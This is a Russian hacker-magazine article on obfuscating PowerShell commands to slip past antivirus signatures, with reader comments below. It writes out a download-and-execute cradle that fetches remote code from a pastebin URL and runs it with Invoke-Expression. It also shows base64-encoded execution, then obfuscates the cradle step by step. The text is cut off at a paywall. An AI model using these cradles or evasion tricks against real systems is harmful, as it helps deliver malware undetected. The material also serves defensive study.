В базах антивирусов содержатся миллионы сигнатур, однако трояны по-прежнему остаются в хакерском арсенале. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут остаться незамеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно спрятать от любопытных глаз антивируса.

Посмотри на эту строку. Что ты здесь видишь?

;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.

WARNING

Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.

 

PowerShell в хакинге

Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.

С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».

 

Обфускация PowerShell. Прятки с антивирусом

Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

INFO

Обфускация — один из популярных методов обхода сигнатурного анализа.

Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.

Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Object среди и `.

$get = New-Object "`N`et.`W`ebc`l`i`ent"; 
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Неплохо замаскировали. Почти непонятно, что это на самом деле.

Продолжение доступно только подписчикам

Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.

Подпишись на «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

10 комментариев

  1. rutkit

    06.11.2018 at 13:40

    привет из Казахстана!

  2. ivan_topoleff

    06.11.2018 at 17:48

    Спасибо за прочтение статьи. Ставьте лайки и подписывайтесь на журнал Хакер:D Оставляйте комментарии, что нашли незамысловатое послание c:
    Ge@P00
    Gep@@
    G@@ 0P00

  3. xak05

    07.11.2018 at 07:50

    что за
    первая статья

  4. G-stream

    07.11.2018 at 12:21

    Так, ну логику скрипта эта обфускация никак не меняет. Что мешает антивирусам привести, скажем так, скрипт к «каноническому» виду и допереть что это наш добровред?

    Обфускация — отличная штука, услоднающая модификацию и прочтение кода пользователем (в случае интерпретируемых яп), а для пряток с антивирусом надо просто писать весь код самим, благо на powershell это не так сложно.

    Был удивлён что это работает.
    В любом случае спасибо за статью.

    • Айгуль C.

      07.11.2018 at 19:15

      Спасибо за отзыв. Что вы имеете в виду под приводом к «каноническому» виду? При совмещении этих способов антивирусам очень трудно понять начальный вид скрипта(если вы это имеете в виду). Данная обфускация поможет при скантайме, и мы видим, что антивирусы пока не все методы могут распознать. К примеру, как вы говорите, если писать код самому, то со временем он тоже будет внесен в базы и там уже поможет обфускация. А для обхода проактивной (поведенческой) защиты тут тоже приведено пару трюков.
      Метод подойдет в случае если лень писать скрипт и хочется взять готовую полезную нагрузку, к примеру. Но писать код самому, это, конечно, идеальный вариант для пентеста.

  5. owls

    07.11.2018 at 13:54

    Здравствуйте, хотел задать один вопрос:
    Вас интересуют только системы Windows и их тонкости, или
    системы Linux и его чистое ядро вас тоже интересует?

    Спасибо за внимание.

  6. surfer015

    09.11.2018 at 15:13

    Айгуль. У Вас легкий стиль написания текста, удобное восприятие. Спасибо за статью. Ждём новых!

Оставить мнение

Check Also

FPGA. Создаем хардверный счетчик в Xilinx Vivado, чтобы освоить инструменты разработки ПЛИС

Если ты хочешь превратить код в микросхему, используя FPGA, то эта статья поможет тебе осв…